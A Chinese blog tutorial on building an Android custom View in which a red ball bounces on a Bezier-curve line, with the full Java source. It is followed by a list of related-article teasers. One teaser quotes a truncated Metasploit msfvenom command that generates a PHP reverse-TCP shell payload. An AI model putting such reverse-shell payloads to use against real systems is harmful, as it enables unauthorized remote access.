当前位置: 首页 > 编程日记 > 正文

自定义View合辑(8)-跳跃的小球(贝塞尔曲线)

为了加强对自定义 View 的认知以及开发能力,我计划这段时间陆续来完成几个难度从易到难的自定义 View,并简单的写几篇博客来进行介绍,所有的代码也都会开源,也希望读者能给个 star 哈 GitHub 地址:github.com/leavesC/Cus… 也可以下载 Apk 来体验下:www.pgyer.com/CustomView

先看下效果图:

一、思路解析

可以看出来这是一个具有“弹性”效果的小球,小球加速下落,减速上升,小球在碰到水平线的时候,水平线会被下压一定距离,在小球被弹起时,水平线会有一个上下回弹的“黏性”效果

设计这样一个自定义View的步骤可以分为以下几步:

  • 绘制一条水平线
  • 在最高点绘制一个红色小球,X坐标居于水平线中间
  • 通过 ValueAnimator 提供的加速插值器 AccelerateInterpolator 来逐渐增大小球的 Y 坐标,使之加速下落
  • 当小球触碰到水平线的同时,通过改变贝塞尔曲线的控制点坐标,使得水平线和小球一直保持接触状态,即绘制出一条符合条件的曲线
  • 当小球落到最低点时,通过减速插值器 DecelerateInterpolator 来逐渐减小小球的 Y 坐标,使之减速上升
  • 当小球被反弹超出水平线一定高度内,水平线依然和小球保持接触
  • 当小球离开水平线后,改变贝塞尔曲线的控制点来绘制出水平线的上下回弹效果

二、代码解析

上述过程中需要一直改变两个点的坐标系,即小球和贝塞尔曲线的控制点

    private static class Point {private float x;private float y;private float radius;}//小球private Point ballPoint;//贝塞尔曲线控制点private Point controlPoint;
复制代码

根据View的宽高大小,以一定的比例来计算小球最高点坐标、最低点坐标,水平线的起始点坐标这些参数值

    private float lineY;private float lineXLeft;private float lineXRight;//小球最高点Y坐标private float pointYMin;@Overrideprotected void onSizeChanged(int contentWidth, int contentHeight, int oldW, int oldH) {super.onSizeChanged(contentWidth, contentHeight, oldW, oldH);lineY = contentHeight * 0.5f;lineXLeft = contentWidth * 0.15f;lineXRight = contentWidth * 0.85f;//小球最低点Y坐标float pointYMax = contentHeight * 0.55f;pointYMin = contentHeight * 0.22f;ballPoint.x = contentWidth * 0.5F;ballPoint.radius = 26;ballPoint.y = pointYMin;controlPoint.x = ballPoint.x;long speed = 1800;downAnimator.setFloatValues(pointYMin, pointYMax);upAnimator.setFloatValues(pointYMax, pointYMin);downAnimator.setDuration(speed);upAnimator.setDuration((long) (0.8 * speed));start();}
复制代码

在 ValueAnimator 中动态改变小球和贝塞尔曲线的控制点这两个点的坐标系

  private void initAnimator() {downAnimator = new ValueAnimator();//加速下降downAnimator.setInterpolator(new AccelerateInterpolator());downAnimator.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {@Overridepublic void onAnimationUpdate(ValueAnimator animation) {ballPoint.y = (float) animation.getAnimatedValue();if (ballPoint.y + ballPoint.radius <= lineY) {controlPoint.y = lineY;} else {controlPoint.y = lineY + 2 * (ballPoint.y + ballPoint.radius - lineY);}invalidate();}});downAnimator.addListener(new AnimatorListenerAdapter() {@Overridepublic void onAnimationEnd(Animator animation) {startUpAnimator();}});upAnimator = new ValueAnimator();//减速上升upAnimator.setInterpolator(new DecelerateInterpolator());upAnimator.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {@Overridepublic void onAnimationUpdate(ValueAnimator animation) {ballPoint.y = (float) animation.getAnimatedValue();if (ballPoint.y + ballPoint.radius >= lineY) { //还处于水平线以下controlPoint.y = lineY + 2 * (ballPoint.y + ballPoint.radius - lineY);} else {//小球总的要上升的距离float tempY = lineY - pointYMin;//小球最低点距离水平线的距离,即小球已上升的距离float distance = lineY - ballPoint.y - ballPoint.radius;//上升比例float percentage = distance / tempY;if (percentage <= 0.2) {  //线从水平线升高到最高点controlPoint.y = lineY + 2 * (ballPoint.y + ballPoint.radius - lineY);} else if (percentage <= 0.28) { //线从最高点降落到水平线controlPoint.y = lineY - (distance - tempY * 0.2f);} else if (percentage <= 0.34) { //线从水平线降落到最低点controlPoint.y = lineY + (distance - tempY * 0.28f);} else if (percentage <= 0.39) { //线从最低点升高到水平线controlPoint.y = lineY - (distance - tempY * 0.34f);} else {controlPoint.y = lineY;}}invalidate();}});upAnimator.addListener(new AnimatorListenerAdapter() {@Overridepublic void onAnimationEnd(Animator animation) {startDownAnimator();}});}
复制代码

然后绘制出每一个动画值所呈现的画面即可

    private Path path = new Path();@Overrideprotected void onDraw(Canvas canvas) {paint.setColor(Color.WHITE);paint.setStrokeWidth(8f);path.reset();path.moveTo(lineXLeft, lineY);path.quadTo(controlPoint.x, controlPoint.y, lineXRight, lineY);paint.setStyle(Paint.Style.STROKE);canvas.drawPath(path, paint);paint.setStyle(Paint.Style.FILL);canvas.drawCircle(lineXLeft, lineY, 16, paint);canvas.drawCircle(lineXRight, lineY, 16, paint);paint.setColor(Color.parseColor("#f7584d"));paint.setStrokeWidth(0f);canvas.drawCircle(ballPoint.x, ballPoint.y, ballPoint.radius, paint);}
复制代码

总的代码是这样的

/*** 作者:leavesC* 时间:2019/5/1 23:04* 描述:* GitHub:https://github.com/leavesC* Blog:https://www.jianshu.com/u/9df45b87cfdf*/
public class PointBeatView extends BaseView {private static class Point {private float x;private float y;private float radius;}//小球private Point ballPoint;//贝塞尔曲线控制点private Point controlPoint;private ValueAnimator downAnimator;private ValueAnimator upAnimator;private float lineY;private float lineXLeft;private float lineXRight;//小球最高点Y坐标private float pointYMin;private Paint paint;public PointBeatView(Context context) {this(context, null);}public PointBeatView(Context context, @Nullable AttributeSet attrs) {this(context, attrs, 0);}public PointBeatView(Context context, @Nullable AttributeSet attrs, int defStyleAttr) {super(context, attrs, defStyleAttr);ballPoint = new Point();controlPoint = new Point();initPaint();initAnimator();}@Overrideprotected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {int width = getSize(widthMeasureSpec, getResources().getDisplayMetrics().widthPixels);int height = getSize(heightMeasureSpec, getResources().getDisplayMetrics().heightPixels);setMeasuredDimension(width, height);}private void initPaint() {paint = new Paint();paint.setAntiAlias(true);paint.setDither(true);}@Overrideprotected void onSizeChanged(int contentWidth, int contentHeight, int oldW, int oldH) {super.onSizeChanged(contentWidth, contentHeight, oldW, oldH);lineY = contentHeight * 0.5f;lineXLeft = contentWidth * 0.15f;lineXRight = contentWidth * 0.85f;//小球最低点Y坐标float pointYMax = contentHeight * 0.55f;pointYMin = contentHeight * 0.22f;ballPoint.x = contentWidth * 0.5F;ballPoint.radius = 26;ballPoint.y = pointYMin;controlPoint.x = ballPoint.x;long speed = 1800;downAnimator.setFloatValues(pointYMin, pointYMax);upAnimator.setFloatValues(pointYMax, pointYMin);downAnimator.setDuration(speed);upAnimator.setDuration((long) (0.8 * speed));start();}private Path path = new Path();@Overrideprotected void onDraw(Canvas canvas) {paint.setColor(Color.WHITE);paint.setStrokeWidth(8f);path.reset();path.moveTo(lineXLeft, lineY);path.quadTo(controlPoint.x, controlPoint.y, lineXRight, lineY);paint.setStyle(Paint.Style.STROKE);canvas.drawPath(path, paint);paint.setStyle(Paint.Style.FILL);canvas.drawCircle(lineXLeft, lineY, 16, paint);canvas.drawCircle(lineXRight, lineY, 16, paint);paint.setColor(Color.parseColor("#f7584d"));paint.setStrokeWidth(0f);canvas.drawCircle(ballPoint.x, ballPoint.y, ballPoint.radius, paint);}private void initAnimator() {downAnimator = new ValueAnimator();//加速下降downAnimator.setInterpolator(new AccelerateInterpolator());downAnimator.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {@Overridepublic void onAnimationUpdate(ValueAnimator animation) {ballPoint.y = (float) animation.getAnimatedValue();if (ballPoint.y + ballPoint.radius <= lineY) {controlPoint.y = lineY;} else {controlPoint.y = lineY + 2 * (ballPoint.y + ballPoint.radius - lineY);}invalidate();}});downAnimator.addListener(new AnimatorListenerAdapter() {@Overridepublic void onAnimationEnd(Animator animation) {startUpAnimator();}});upAnimator = new ValueAnimator();//减速上升upAnimator.setInterpolator(new DecelerateInterpolator());upAnimator.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {@Overridepublic void onAnimationUpdate(ValueAnimator animation) {ballPoint.y = (float) animation.getAnimatedValue();if (ballPoint.y + ballPoint.radius >= lineY) { //还处于水平线以下controlPoint.y = lineY + 2 * (ballPoint.y + ballPoint.radius - lineY);} else {//小球总的要上升的距离float tempY = lineY - pointYMin;//小球最低点距离水平线的距离,即小球已上升的距离float distance = lineY - ballPoint.y - ballPoint.radius;//上升比例float percentage = distance / tempY;if (percentage <= 0.2) {  //线从水平线升高到最高点controlPoint.y = lineY + 2 * (ballPoint.y + ballPoint.radius - lineY);} else if (percentage <= 0.28) { //线从最高点降落到水平线controlPoint.y = lineY - (distance - tempY * 0.2f);} else if (percentage <= 0.34) { //线从水平线降落到最低点controlPoint.y = lineY + (distance - tempY * 0.28f);} else if (percentage <= 0.39) { //线从最低点升高到水平线controlPoint.y = lineY - (distance - tempY * 0.34f);} else {controlPoint.y = lineY;}}invalidate();}});upAnimator.addListener(new AnimatorListenerAdapter() {@Overridepublic void onAnimationEnd(Animator animation) {startDownAnimator();}});}@Overrideprotected void onDetachedFromWindow() {super.onDetachedFromWindow();stop();}@Overrideprotected void onVisibilityChanged(@NonNull View changedView, int visibility) {super.onVisibilityChanged(changedView, visibility);switch (visibility) {case View.VISIBLE: {start();break;}case View.INVISIBLE:case View.GONE: {stop();break;}}Log.e(TAG, "onVisibilityChanged: " + visibility);}public void start() {startDownAnimator();}public void stop() {stopDownAnimator();stopUpAnimator();}private void startDownAnimator() {if (downAnimator != null && downAnimator.getValues() != null && downAnimator.getValues().length > 0 && !downAnimator.isRunning()) {downAnimator.start();}}private void stopDownAnimator() {if (downAnimator != null && downAnimator.isRunning()) {downAnimator.cancel();}}private void startUpAnimator() {if (upAnimator != null && upAnimator.getValues() != null && upAnimator.getValues().length > 0 && !upAnimator.isRunning()) {upAnimator.start();}}private void stopUpAnimator() {if (upAnimator != null && upAnimator.isRunning()) {upAnimator.cancel();}}}
复制代码

转载于:https://juejin.im/post/5cd6e06fe51d456e5238ca75

相关文章:

分析Booking的150种机器学习模型,我总结了六条成功经验

&#xff08;图片付费下载自视觉中国&#xff09;作者 | Adrian Colyer译者 | Monanfei出品 | AI科技大本营&#xff08;ID:rgznai100&#xff09;本文是一篇有趣的论文&#xff08;150 successful machine learning models: 6 lessons learned at Booking.com Bernadi et al.,…

Android官方提供的支持不同屏幕大小的全部方法

2019独角兽企业重金招聘Python工程师标准>>> 本文将告诉你如何让你的应用程序支持各种不同屏幕大小&#xff0c;主要通过以下几种办法&#xff1a; 让你的布局能充分的自适应屏幕根据屏幕的配置来加载合适的UI布局确保正确的布局应用在正确的设备屏幕上提供可以根据…

C++/C++11中头文件iterator的使用

<iterator>是C标准程序库中的一个头文件&#xff0c;定义了C STL标准中的一些迭代器模板类&#xff0c;这些类都是以std::iterator为基类派生出来的。迭代器提供对集合(容器)元素的操作能力。迭代器提供的基本操作就是访问和遍历。迭代器模拟了C中的指针&#xff0c;可以…

从多媒体技术演进看AI技术

&#xff08;图片付费下载自视觉中国&#xff09;文 / LiveVideoStack主编 包研在8月的LiveVideoStackCon2019北京开场致辞中&#xff0c;我分享了一组数据——把2019年和2017年两场LiveVideoStackCon上的AI相关的话题做了统计&#xff0c;这是数字从9.3%增长到31%&#xff0c;…

五. python的日历模块

一 .日历 import calendar# 日历模块# 使用# 返回指定某年某月的日历 print(calendar.month(2017,7))# July 2017 # Mo Tu We Th Fr Sa Su # 1 2 # 3 4 5 6 7 8 9 # 10 11 12 13 14 15 16 # 17 18 19 20 21 22 23 # 24 25 26 27 28 29 30 # 31# 返…

Linux下的Shell工作原理

为什么80%的码农都做不了架构师&#xff1f;>>> Linux系统提供给用户的最重要的系统程序是Shell命令语言解释程序。它不 属于内核部分&#xff0c;而是在核心之外&#xff0c;以用户态方式运行。其基本功能是解释并 执行用户打入的各种命令&#xff0c;实现用户与L…

C++/C++11中头文件functional的使用

<functional>是C标准库中的一个头文件&#xff0c;定义了C标准中多个用于表示函数对象(function object)的类模板&#xff0c;包括算法操作、比较操作、逻辑操作&#xff1b;以及用于绑定函数对象的实参值的绑定器(binder)。这些类模板的实例是具有函数调用运算符(functi…

飞天AI平台到底哪里与众不同?听听它的架构者怎么说

采访嘉宾 | 林伟 整理 | 夕颜 出品 | AI科技大本营&#xff08;ID:rgznai100&#xff09; 天下没有不散的宴席。 9 月 25 日&#xff0c;云栖大会在云栖小镇开始&#xff0c;历经三天的技术盛宴&#xff0c;于 9 月 27 日的傍晚结束。 三天、全球6.7万人现场参会、超1250万人…

浅谈 sessionStorage、localStorage、cookie 的区别以及使用

1、sessionStorage、localStorage、cookie 之间的区别 相同点 cookie 和 webStorage 都是用来存储客户端的一些信息不同点 localStorage localStorage 的生命周期是 永久的。也就是说 只要不是 手动的去清除。localStorage 会一直存储 sessionStorage 相反 sessionStorage 的生…

任务栏窗口和状态图标的闪动 z

Demo程序&#xff1a; 实现任务栏窗体和图标的闪动&#xff1a; 整个程序是基于Windows Forms的&#xff0c;对于任务栏右下角状态图标的闪动&#xff0c;创建了一个类型&#xff1a;NotifyIconAnimator&#xff0c;基本上是包装了Windows Forms中的NotifyIcon类型&#xff0c;…

深度学习中的最大似然估计简介

统计领域为我们提供了很多工具来实现机器学习目标&#xff0c;不仅可以解决训练集上的任务&#xff0c;还可以泛化。例如参数估计、偏差和方差&#xff0c;对于正式地刻画泛化、欠拟合和过拟合都非常有帮助。点估计&#xff1a;点估计试图为一些感兴趣的量提供单个”最优”预测…

简单粗暴上手TensorFlow 2.0,北大学霸力作,必须人手一册!

&#xff08;图片付费下载自视觉中国&#xff09; 整理 | 夕颜 出品 | AI科技大本营&#xff08;ID:rgznai100&#xff09; 【导读】 TensorFlow 2.0 于近期正式发布后&#xff0c;立即受到学术界与科研界的广泛关注与好评。此前&#xff0c;AI 科技大本营曾特邀专家回顾了 Te…

常见运维漏洞-Rsync-Redis

转载于:https://blog.51cto.com/10945453/2394651

zabbix笔记

&#xff08;1&#xff09;转载于:https://blog.51cto.com/zlong37/1406441

C++/C++11中头文件algorithm的使用

<algorithm>是C标准程序库中的一个头文件&#xff0c;定义了C STL标准中的基础性的算法(均为函数模板)。<algorithm>定义了设计用于元素范围的函数集合。任何对象序列的范围可以通过迭代器或指针访问。 std::adjacent_find&#xff1a;在序列中查找第一对相邻且值…

js filter 用法

filter filter函数可以看成是一个过滤函数&#xff0c;返回符合条件的元素的数组 filter需要在循环的时候判断一下是true还是false&#xff0c;是true才会返回这个元素&#xff1b; filter()接收的回调函数&#xff0c;其实可以有多个参数。通常我们仅使用第一个参数&#xff…

每30秒学会一个Python小技巧,GitHub星数4600+

&#xff08;图片付费下载自视觉中国&#xff09;作者 | xiaoyu&#xff0c;数据爱好者来源 | Python数据科学&#xff08;ID:PyDataScience&#xff09;很多学习Python的朋友在项目实战中会遇到不少功能实现上的问题&#xff0c;有些问题并不是很难的问题&#xff0c;或者已经…

Nginx自定义模块编写:根据post参数路由到不同服务器

Nginx可以轻松实现根据不同的url 或者 get参数来转发到不同的服务器&#xff0c;然而当我们需要根据http包体来进行请求路由时&#xff0c;Nginx默认的配置规则就捉襟见肘了&#xff0c;但是没关系&#xff0c;Nginx提供了强大的自定义模块功能&#xff0c;我们只要进行需要的扩…

深度学习中的贝叶斯统计简介

贝叶斯用概率反映知识状态的确定性程度。数据集能够被直接观测到&#xff0c;因此不是随机的。另一方面&#xff0c;真实参数θ是未知或不确定的&#xff0c;因此可以表示成随机变量。在观察到数据前&#xff0c;我们将θ的已知知识表示成先验概率分布(prior probability distr…

少走弯路:强烈推荐的TensorFlow快速入门资料(可下载)

&#xff08;图片付费下载自视觉中国&#xff09;作者 | 黄海广来源 | 机器学习初学者&#xff08;ID: ai-start-com&#xff09;知识更新非常快&#xff0c;需要一直学习才能跟上时代进步&#xff0c;举个例子&#xff1a;吴恩达老师在深度学习课上讲的TensorFlow使用&#xf…

有状态bean与无状态bean

在学习bean的作用域的时候&#xff0c;了解了这个问题。 bean5种作用域&#xff1a;分别是&#xff1a;singleton、prototype、request、session、gloabal session 接下来就讲一下有状态bean与无状态bean&#xff1a; 有状态会话bean &#xff1a;每个用户有自己特有的一个实例…

从Developer Removed From Sale 回到可下载状态的方法

2019独角兽企业重金招聘Python工程师标准>>> 如果你不小心点了”Remove“ 按钮&#xff0c;App的状态会变成"Developer Removed From Sale "&#xff0c;这时&#xff0c;即使更新应用也无法改变这个状态。想要让App恢复可下载状态&#xff0c;你需要尝试…

朴素贝叶斯分类器简介及C++实现(性别分类)

贝叶斯分类器是一种基于贝叶斯定理的简单概率分类器。在机器学习中&#xff0c;朴素贝叶斯分类器是一系列以假设特征之间强(朴素)独立下运用贝叶斯定理为基础的简单概率分类器。朴素贝叶斯是文本分类的一种热门(基准)方法&#xff0c;文本分类是以词频为特征判断文件所属类别或…

你当年没玩好的《愤怒的小鸟》,AI现在也犯难了

&#xff08;图片源自百度百科&#xff09;作者 | Ekaterina Nikonova&#xff0c;Jakub Gemrot译者 | Tianyu出品 | AI科技大本营&#xff08;ID:rgznai100&#xff09;现在说起《愤怒的小鸟》游戏&#xff0c;要把人的回忆一下拉扯到差不多十年前了。它是一款当时一经推出就广…

msf反弹shell

今天回顾了一下msf反弹shell的操作&#xff0c;在这里做一下记录和分享。(&#xffe3;︶&#xffe3;)↗ 反弹shell的两种方法 第一种Msfvenom实例&#xff1a; 1、msfconsole    #启动msf 2、msfvenom -p php/meterpreter/reverse_tcp LHOST<Your IP Address> LPOR…

mysql 5.5半同步复制功能部署

安装、配置Semi-sync Replication在两台主机上安装好MySQL5.5&#xff0c;编译好的插件在目录CMAKE_INSTALL_PREFIX/lib/plugin下&#xff08;默认是/usr/local/mysql/lib/plugin&#xff09;。例如这里编译是指定CMAKE_INSTALL_PREFIX为/home/mysql/mysql&#xff0c;则有&…

Windows7/10上配置OpenCV3.3.0-Python3.6.2操作步骤

目前OpenCV无论是2.4.x还是最新的3.3.0版本&#xff0c;默认支持的都是Python 2.7版本。这里介绍下如何使OpenCV 3.3.0支持Python 3.6.2的操作步骤&#xff1a;1. 从 https://github.com/opencv/opencv/releases/tag/3.3.0 下载3.3.0.zip或opencv-3.3.0-vc14.exe&#xff0c;…

manage.py命令

一、manage.py命令选 manage.py是每个Django项目中自动生成的一个用于管理项目的脚本文件&#xff0c;需要通过python命令执行。manage.py接受的是Django提供的内置命令。 内置命令包含 checkdbshelldiffsettingsflushmakemigrationsmigraterunservershellstartappstartproject…

图灵奖得主Bengio再次警示:可解释因果关系是深度学习发展的当务之急

&#xff08;图片付费下载自视觉中国&#xff09;作者 | Will Knight译者 | Monanfei来源 | Wired出品 | AI科技大本营&#xff08;ID:rgznai100&#xff09;深度学习擅长在大量数据中寻找模式&#xff0c;但无法解释它们之间的关系。图灵奖获得者 Yoshua Bengio 希望改变这一状…

解决jQuery不同版同时引用的冲突

今天研发的同事在开发一个新jQuery插件时&#xff0c;遇到一个揪心的问题。平台以前使用的 jQuery版本是1.2.6&#xff0c;偶&#xff0c;天啊&#xff01;这是古代的版本啊&#xff01; 由于很多功能基于老版本&#xff0c;不能删除啊&#xff0c;同志们都懂的&#xff01; 于…